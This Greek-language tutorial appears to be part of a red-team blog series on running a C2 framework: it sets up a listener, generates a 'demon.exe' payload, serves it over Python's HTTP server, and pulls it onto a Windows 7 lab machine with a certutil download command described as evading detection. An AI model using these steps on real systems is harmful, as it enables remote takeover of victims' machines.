Γνωρίζουμε ήδη τι είναι ένας C2, ή Command and Control server, και αν δεν είστε εξοικειωμένοι, θα πρέπει να ρίξετε μια ματιά στην πρώτη δημοσίευση της σειράς μας. Στην πρώτη δημοσίευση αυτής της σειράς, εξετάσαμε τη δημιουργία και τη ρύθμιση ενός τέτοιου διακομιστή. Τώρα είναι η στιγμή να δοκιμάσουμε τη λειτουργικότητά του και να εξοικειωθούμε με τη λειτουργική του συμπεριφορά.
Είναι σημαντικό να σημειωθεί ότι, σε αυτό το σημείο, δεν αποκρύπτουμε ακόμα τις επικοινωνίες μας· δηλαδή, δεν χρησιμοποιούμε κανέναν ανακατευτή (redirector) μεταξύ του “Πελάτη και του Διακομιστή”.
Συνεπώς, αυτό που θα δείτε είναι μια άμεση σύνδεση ανάμεσα στο θύμα και στον διακομιστή μας C2. Είναι κρίσιμο να τονίσουμε αυτό, διότι σε μια πραγματική λειτουργία η προσέγγιση θα ήταν διαφορετική.
Σε αυτό το σημείο, ο διακομιστής μας C2 λειτουργεί κανονικά. Αν είστε εξοικειωμένοι με την προηγούμενη δημοσίευσή μας, θα θυμάστε ότι η τελευταία στιγμιότυπη οθόνη που μοιραστήκαμε είναι απεικονισμένη στην εικόνα παρακάτω.
Σε αυτό το σημείο, πρόκειται να δημιουργήσουμε τον πρώτο μας Listener.
Τι είναι ένας Listener;
Στο πλαίσιο ενός Command and Control (C2) server (C2), ένας “listener” είναι ουσιαστικά ένας εξυπηρετητής που αναμένει για εισερχόμενες συνδέσεις από συμβιβασμένους πελάτες, συχνά αναφερόμενους ως “agents” ή “bots”. Ένας listener λειτουργεί σε ένα συγκεκριμένο θύρα και μπορεί να χρησιμοποιεί ένα συγκεκριμένο πρωτόκολλο (HTTP, HTTPS, DNS, TCP κλπ.) για να ιδρύσει και να διατηρήσει την επικοινωνία με το κακόβουλο λογισμικό πελάτη που εκτελείται στα συστήματα στόχου.
Στη συνέχεια, μεταβείτε στην καρτέλα ‘View‘ και επιλέξτε ‘Listeners‘. Στον υπολογιστή σας, θα πρέπει να δείτε κάτι που μοιάζει με αυτό:
Αφού επιλέξετε ‘Listeners‘, θα εμφανιστεί ένα παράθυρο στην οθόνη σας, ενώ αυτό το C2 προσφέρει μια πληθώρα επιλογών προσαρμογής, για να διατηρήσουμε αυτή την επίδειξη απλή, θα παραμείνουμε στις προεπιλεγμένες ρυθμίσεις, όπως φαίνεται στο παρακάτω στιγμιότυπο οθόνης:
Προχωρήστε και κάντε κλικ στο κουμπί save (Αποθήκευση).
Αφού ακολουθήσετε τα προηγούμενα βήματα, μπορείτε να επιβεβαιώσετε ότι ο ακροατής έχει ρυθμιστεί και περιμένει ενεργά εισερχόμενες συνδέσεις. Αυτό θα είναι εμφανές καθώς θα ανοίξει μια νέα καρτέλα στο κάτω μέρος της διεπαφής C2. Επιπλέον, θα δείτε μια ειδοποίηση στην επάνω δεξιά γωνία, η οποία θα επιβεβαιώνει ότι ο Listener έχει ξεκινήσει. Η ειδοποίηση θα εμφανίζει το όνομα που του έχετε εκχωρήσει, στην προκειμένη περίπτωση, “Demon”. Οι δύο παρακάτω εικόνες απεικονίζουν τι πρέπει να βλέπετε στην οθόνη σας.
Ήρθε η ώρα να δημιουργήσουμε το πρώτο μας payload.
Τι είναι ένα payload;
Στο πλαίσιο ενός διακομιστή εντολών και ελέγχου (C2), το “payload” αναφέρεται στον κακόβουλο κώδικα ή τα δεδομένα που αποστέλλονται από τον διακομιστή C2 σε ένα παραβιασμένο σύστημα (τον “πελάτη”) ή από τον πελάτη πίσω στον διακομιστή C2. Τα payloads μπορούν να εξυπηρετούν πολλαπλούς σκοπούς ανάλογα με το τι επιδιώκει να επιτύχει ο επιτιθέμενος, όπως η εκτέλεση συγκεκριμένων εντολών, η διαφυγή δεδομένων ή η παροχή πρόσθετης λειτουργικότητας στο κακόβουλο λογισμικό που βρίσκεται ήδη στο παραβιασμένο σύστημα.
Όταν πρόκειται για την επιχειρησιακή φάση ενός πλαισίου C2, η δημιουργία του payload είναι ένα κρίσιμο βήμα. Πρόκειται για το συστατικό που θα πρέπει να παραδώσετε στο σύστημα-στόχο με κάποιο μέσο, όπως το ηλεκτρονικό ψάρεμα, οι drive-by λήψεις ή άλλοι φορείς επίθεσης.
Μόλις το payload εκτελεστεί στο σύστημα-στόχο, εγκαθιστά μια σύνδεση πίσω στον διακομιστή C2, επιτρέποντας ουσιαστικά στον επιτιθέμενο να ελέγχει το παραβιασμένο σύστημα. Μπορείτε να προσαρμόσετε τα ωφέλιμα φορτία ώστε να εκτελούν μια σειρά από εργασίες, όπως, μεταξύ άλλων, καταγραφή πληκτρολογίου, λήψη δεδομένων από κάμερα και μικρόφωνο, κλοπή διαπιστευτηρίων ή πλευρική μετακίνηση σε ένα δίκτυο. Ορισμένα προηγμένα πλαίσια C2 επιτρέπουν “modular” payloads, τα οποία μπορούν να κατεβάζουν πρόσθετες λειτουργικές ενότητες από τον διακομιστή C2 ανάλογα με τις ανάγκες, καθιστώντας τα ιδιαίτερα ευέλικτα και επεκτάσιμα.
Προχωρήστε και κάντε κλικ στην καρτέλα ‘Attack‘ (Επίθεση) και, στη συνέχεια, επιλέξτε την επιλογή ‘Payload‘.
Στην οθόνη σας θα εμφανιστεί ένα παράθυρο παρόμοιο με αυτό που φαίνεται στην παρακάτω εικόνα. Όπως μπορείτε να δείτε, προσφέρει μια πληθώρα επιλογών προσαρμογής για το payload μας. Ωστόσο, για λόγους απλότητας αυτής της δημοσίευσης, θα παραμείνουμε με τις προεπιλεγμένες ρυθμίσεις αυτή τη φορά. Έτσι, χωρίς άλλη καθυστέρηση, κάντε κλικ στο ‘Generate‘, χρησιμοποιώντας το παράδειγμα της ακόλουθης εικόνας ως οδηγό σας.
Αν όλα πάνε καλά, θα πρέπει να δείτε μια σειρά από οδηγίες να εμφανίζονται στο κάτω μέρος του παραθύρου καθώς δημιουργείται το payload. Δείτε την παρακάτω εικόνα:
Μόλις δημιουργηθεί το payload, μπορείτε να πλοηγηθείτε στον κατάλογο για να εντοπίσετε πού έχει αποθηκευτεί. Στην περίπτωσή μου, όπως μπορείτε να δείτε, βρίσκεται στην επιφάνεια εργασίας.
Χρησιμοποιώντας την εντολή python -m http.server δημιουργείται ένας απλός διακομιστής HTTP χρησιμοποιώντας την ενσωματωμένη ενότητα διακομιστή HTTP της Python. Όταν εκτελείτε αυτή την εντολή, ο τρέχων κατάλογος στον οποίο εκτελείται η εντολή γίνεται ο βασικός κατάλογος του διακομιστή, επιτρέποντας την εξυπηρέτηση αρχείων σε πελάτες που τα ζητούν μέσω HTTP. Ο διακομιστής ακούει στη θύρα 8000 από προεπιλογή, αλλά μπορείτε να καθορίσετε μια διαφορετική θύρα προσθέτοντάς την στην εντολή, π.χ. python -m http.server 8080. Αυτό χρησιμοποιείται συχνά σε ρυθμίσεις C2, δοκιμές διείσδυσης και ασκήσεις red teaming για γρήγορη και εύκολη μεταφορά αρχείων, αν και είναι σημαντικό να σημειωθεί ότι δεν προσφέρει κανέναν μηχανισμό κρυπτογράφησης ή αυθεντικοποίησης out-of-the-box.
Ακολουθεί μια σύντομη περιγραφή του τι συμβαίνει κάτω από το καπό:
-
Initialization: Η ενότητα διακομιστή HTTP της Python (http.server) αρχικοποιείται. Πρόκειται για έναν απλό, ενσωματωμένο διακομιστή HTTP που περιλαμβάνεται στην τυπική βιβλιοθήκη της Python.
-
Socket Creation and Binding: Δημιουργείται μια υποδοχή και συνδέεται με τον κεντρικό υπολογιστή (συνήθως localhost ή 0.0.0.0.0 για ακρόαση σε όλες τις διαθέσιμες διασυνδέσεις δικτύου) και τη θύρα που καθορίζεται (η προεπιλογή είναι 8000).
-
Listening: Ο διακομιστής αρχίζει να ακούει εισερχόμενες αιτήσεις HTTP. Όταν λαμβάνεται ένα αίτημα, διαβάζει τις επικεφαλίδες HTTP για να προσδιορίσει ποιο αρχείο ή ποια διαδρομή ζητά ο πελάτης.
-
File Serving: Αναζητά το αρχείο που ζητείται στον βασικό του κατάλογο (τον κατάλογο από τον οποίο εκτελέσατε την εντολή). Εάν βρει το αρχείο, το σερβίρει πίσω στον πελάτη. Εάν όχι, στέλνει ένα σφάλμα 404.
-
Logging: Οι περισσότερες αλληλεπιδράσεις καταγράφονται στην κονσόλα, παρέχοντας πληροφορίες σχετικά με την IP του πελάτη, τη ζητούμενη διαδρομή και άλλες λεπτομέρειες.
Σε ένα πλαίσιο επιχειρήσεων στον κυβερνοχώρο, αν και απλή και γρήγορη, η προσέγγιση αυτή θα πρέπει να χρησιμοποιείται με προσοχή. Η έλλειψη κρυπτογράφησης και ελέγχου ταυτότητας θα μπορούσε να αποτελέσει κίνδυνο για την ασφάλεια, καθιστώντας τον διακομιστή και τα αρχεία που εξυπηρετεί ευάλωτα σε μη εξουσιοδοτημένη πρόσβαση ή επιθέσεις man-in-the-middle. Για πιο ασφαλείς υλοποιήσεις, θα μπορούσε κανείς να εξετάσει το ενδεχόμενο χρήσης πιο ισχυρών λύσεων, όπως ένας διακομιστής Nginx ή Apache, ενδεχομένως με κρυπτογράφηση SSL.
Τώρα, θα χρησιμοποιήσουμε μια εικονική μηχανή Windows 7 ως λειτουργικό σύστημα-στόχο, στην οποία θα ανοίξουμε τον τερματικό σταθμό Command Prompt (cmd).
Σε αυτό το μέρος του οδηγού, θα επικεντρωθούμε σε ένα ενδιαφέρον βοηθητικό πρόγραμμα των Windows, το certutil, για να αντλήσουμε το ωφέλιμο φορτίο μας από τον διακομιστή Command and Control (C2). Στο πλαίσιο μιας επιχείρησης της Red Team, η λήψη του ωφέλιμου φορτίου σας με ασφάλεια και μυστικότητα είναι ζωτικής σημασίας. Ενώ υπάρχουν διάφοροι τρόποι για να το κάνετε, το certutil μπορεί να φανεί χρήσιμο, καθώς είναι ένα νόμιμο ενσωματωμένο βοηθητικό πρόγραμμα των Windows που χρησιμοποιείται κυρίως για τη διαχείριση πιστοποιητικών, αλλά μπορεί επίσης να “κακοποιηθεί” για τον σκοπό μας.
Ακολουθεί η εντολή αναλυτικά:
-
certutil: Αυτό είναι το βοηθητικό πρόγραμμα των Windows που χρησιμοποιούμε.
-
-urlcache: Αυτό το flag λέει στο certutil να αποθηκεύσει στην cache το αντικείμενο που ανακτάται από τη διεύθυνση URL.
-
-split: Αυτό το flag καθορίζει ότι το αντικείμενο θα πρέπει να μοιραστεί σε πολλές εγγραφές στην κρυφή μνήμη. Αυτό δεν είναι ιδιαίτερα απαραίτητο στο δικό μας πλαίσιο, αλλά μπορεί να είναι χρήσιμο για μεγάλα αρχεία.
-
-f: Αυτό το flag σημαίνει ‘force’, διασφαλίζοντας ότι η λήψη θα γίνει ακόμα και αν το αρχείο υπάρχει ήδη.
-
http://192.168.1.88:8000/demon.exe: Αυτή είναι η διεύθυνση URL του διακομιστή C2 όπου βρίσκεται το demon.exe, το ωφέλιμο φορτίο σας.
Η πλήρης εντολή, certutil -urlcache -split -f http://192.168.1.88:8000/demon.exe, θα κατεβάσει επομένως το αρχείο demon.exe από το διακομιστή C2 και θα το αποθηκεύσει τοπικά στο μηχάνημα στο οποίο εργάζεστε. Μια από τις ομορφιές της χρήσης του certutil με αυτόν τον τρόπο είναι ότι συχνά παρακάμπτει τις παραδοσιακές μεθόδους ανίχνευσης λόγω της νόμιμης ιδιότητάς του. Ωστόσο, οι νεότερες λύσεις ασφαλείας γίνονται όλο και καλύτερες στην ανίχνευση αυτού του είδους της τεχνικής “που ζει από τη χώρα”, οπότε οι εκτιμήσεις σας μπορεί να διαφέρουν.
Όπως μπορείτε να παρατηρήσετε στο παρακάτω στιγμιότυπο οθόνης, το payload έχει μεταφερθεί με επιτυχία στην επιφάνεια εργασίας του μηχανήματος-στόχου.
Τώρα, προχωρήστε και κάντε διπλό κλικ στο payload στο μηχάνημα-στόχο.
Αμέσως, θα παρατηρήσετε ότι το δεξί παράθυρο της διεπαφής C2 ξεκινά τη σύνδεση, επιτρέποντάς μας τον πλήρη έλεγχο του στόχου μας.
Τώρα μεταβείτε στην καρτέλα ‘Προβολή‘ και επιλέξτε την επιλογή ‘Γραφική προβολή‘. Θα μπορέσετε να απεικονίσετε την αλληλεπίδραση μεταξύ του C2 και του μηχανήματος-στόχου, όπως φαίνεται στην παρακάτω εικόνα.
Εάν κάνετε δεξί κλικ στο μηχάνημα-στόχο εντός της γραφικής προβολής, θα αποκτήσετε όχι μόνο διαδραστική πρόσβαση, αλλά και τη δυνατότητα προβολής λιστών διεργασιών και λεπτομερειών εξερεύνησης αρχείων, όπως παρουσιάζεται στις παρακάτω εικόνες.
Αν κάνετε δεξί κλικ στη γραφική αναπαράσταση του μηχανήματος-στόχου και επιλέξετε την επιλογή ‘Interact‘, θα έχετε τη δυνατότητα να εκτελέσετε διάφορες ενέργειες στο σύστημα-στόχο.
Για να το κάνετε αυτό, πλοηγηθείτε στο κάτω μέρος της νεοανοιγμένης καρτέλας που ενεργοποιείται από την προαναφερθείσα διαδικασία και πληκτρολογήστε ‘help‘, ακολουθούμενη από το πάτημα του Enter.
Παρακάτω, θα βρείτε ένα στιγμιότυπο οθόνης που δείχνει τι θα πρέπει να βλέπετε στον υπολογιστή σας σε αυτό το σημείο. Αυτό παρέχει μια επισκόπηση ορισμένων από τις ενέργειες που μπορείτε να εκτελέσετε στον υπολογιστή-στόχο.
Προχωρήστε και εισαγάγετε την εντολή ‘checkin‘. Αυτό θα σας παρέχει ολοκληρωμένες πληροφορίες σχετικά με το σύστημα-στόχο, όπως φαίνεται στις παρακάτω φωτογραφίες.
Αυτό ήταν απλώς μια μικρή γεύση των δυνατοτήτων που μπορείτε να ξεκλειδώσετε με λίγες μόνο εντολές. Φανταστείτε τις ατελείωτες δυνατότητες όταν κατακτήσετε ολοκληρωμένα συστήματα ανάπτυξης υποδομών μαζί με περίπλοκα σενάρια. Για να εμβαθύνετε σε αυτό το θέμα, παραθέτω παρακάτω δύο πιθανές επιλογές που ίσως θελήσετε να εξερευνήσετε.